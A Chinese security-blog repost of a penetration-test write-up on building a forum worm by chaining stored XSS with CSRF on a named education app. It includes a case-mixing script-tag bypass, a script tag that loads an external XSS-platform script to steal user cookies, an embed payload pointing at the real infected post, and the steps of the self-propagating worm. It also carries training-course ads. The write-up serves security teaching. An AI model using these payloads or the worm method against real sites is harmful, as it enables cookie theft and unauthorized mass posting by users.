案例解析一次针对XSS+CSRF构造蠕虫的渗透测试

Posted 开源聚合网络空间安全研究院

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了案例解析一次针对XSS+CSRF构造蠕虫的渗透测试相关的知识,希望对你有一定的参考价值。

网安教育

培养网络安全人才

技术交流、学习咨询


首先来明确一下各自的定义

XSS

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。


CSRF

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。


大体思路

1.在发帖的内容处发现了存储型XSS

2.对帖子(母贴)的内容进行构造,插入CSRF POC,并对其中内容输出为302永久重定向到母感染贴

3.所有浏览此页面的用户都会自动发布一个重定向到母感染贴的子贴,重定向到母贴时又再次执行母贴中的POC再次创建一个子贴。


以上就是XSS+CSRF构造蠕虫大体的思路,下面细化各个步骤的过程,水平不高,适合XSS初学者的进阶。


存储型XSS


1.进入发帖处,添加初步测试payload,并查看源码:

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

2.观察到可以大小写混淆绕过,于是构造payload(对于屏蔽括号的可以用 ’ 来代替):

 <sCrIpt>alert'xss'</sCrIpt>

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

3.刷新页面观察效果,成功弹窗:

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

4.插入JS脚本,利用XSS平台窃取用户cookie,这是最常用的XSS利用手法。

POC:

 <sCRiPt/SrC=//60.wf/m5VP>


【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

XSS配合CSRF的初步测验


1.首先验证是否存在CSRF,同样在发布新贴处,填写标题内容,点击发布抓包:

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

2.burp自带的生成CSRF POC,POST包处-》右键-》generate csrf poc -》保存-》使用另一个账号发送POC,查看自己的帖子,发现成功发送新帖。


3.编写JS脚本(可以利用Xss’or来生成)

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

4.CSRF+存储型XSS将脚本插入到页面中:

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

如图,内容为发布新帖的JS脚本,点击发布,就生成了新帖。


5.浏览此贴,提示成功:

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

6.可以看到成功发布出去:

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

7.使用其他用户浏览帖子测试—-发现同样不知觉的发了个新帖,至此,XSS+CSRF的攻击已经完成:

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

蠕虫的构造


再整理一下思路。


蠕虫的前提是子贴的内容,即点击我们母感染贴的用户所发布的子贴的内容是可控的:

1.攻击者创建一个攻击帖(母帖),贴中JS脚本包含:

①创建一个子回传帖

②子回传帖的内容是重定向到母帖

2.用户浏览母帖,然后自动创建一个子回传帖;

3.子回传帖403重定向到母帖;

4.根据内容又创建一个子回传帖;

5.用户之间互相浏览,发散,传播,不拉不拉不拉,造成蠕虫攻击。


1.任意发表新帖:

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

2.记录帖子的URL并点击编辑:

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

3.插入JS脚本,其中控制子回传贴302重定向到母贴的URL。

payload:

 <embed/src=/bang.duia.com/web/normal/topic/806440>


意为在页面中插入一个新页面,这个新页面为母贴。

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

4.发布后浏览,已生成子回传贴:

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

5.打开子回传贴,发现了在母贴JS脚本中构造的框架:

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

6.但是在FireFox却很遗憾没有成功,打开Network发现了这样一个提示。意为无效的CORS(跨域资源共享)请求。猜测此处应该是属于白名单拦截,限制了JS的入口:

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

7.通过IE可以运行:

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

8.重点!!这些都不是最重要的,因为这是一个APP,所以用户基本上是依赖手机端来运行。之后在手机端上查看帖子成功通过子回传URL重定向到母贴并创建了一个新的子回传贴。虽然网站可能有WAF,电脑端IE可以蠕起来,但是发现,app端没有做任何防护,直接可以传播。

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

原文:http://netsecurity.51cto.com/art/201812/589508.htm#topx

END
【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试


开源聚合网安训练营

开源聚合网络安全冬令营开始了!学网络安全技术、以攻促防、攻防兼备、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长。近期还推出了NSACE网络信息安全高级工程师认证,考证书求职加分、升级加薪,有兴趣的可以入群了解详情,有任何问题都可以咨询客服小姐姐哦(还有高级实战班火热招生中。。。)

【案例解析】一次针对XSS+CSRF构造蠕虫的渗透测试

加QQ(1271375291)找小姐姐私聊哦


精选文章

基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

以上是关于案例解析一次针对XSS+CSRF构造蠕虫的渗透测试的主要内容,如果未能解决你的问题,请参考以下文章

实战储存XSS+CSRF(XSS绕过到蠕虫攻击)

实战储存XSS+CSRF(XSS绕过到蠕虫)

2022渗透测试面试大全(过来人的全部家底)

如何进行Web渗透测试

防止CSRF攻击与针对CSRF方法接口测试的调整

记一则有趣的存储XSS Bypass经历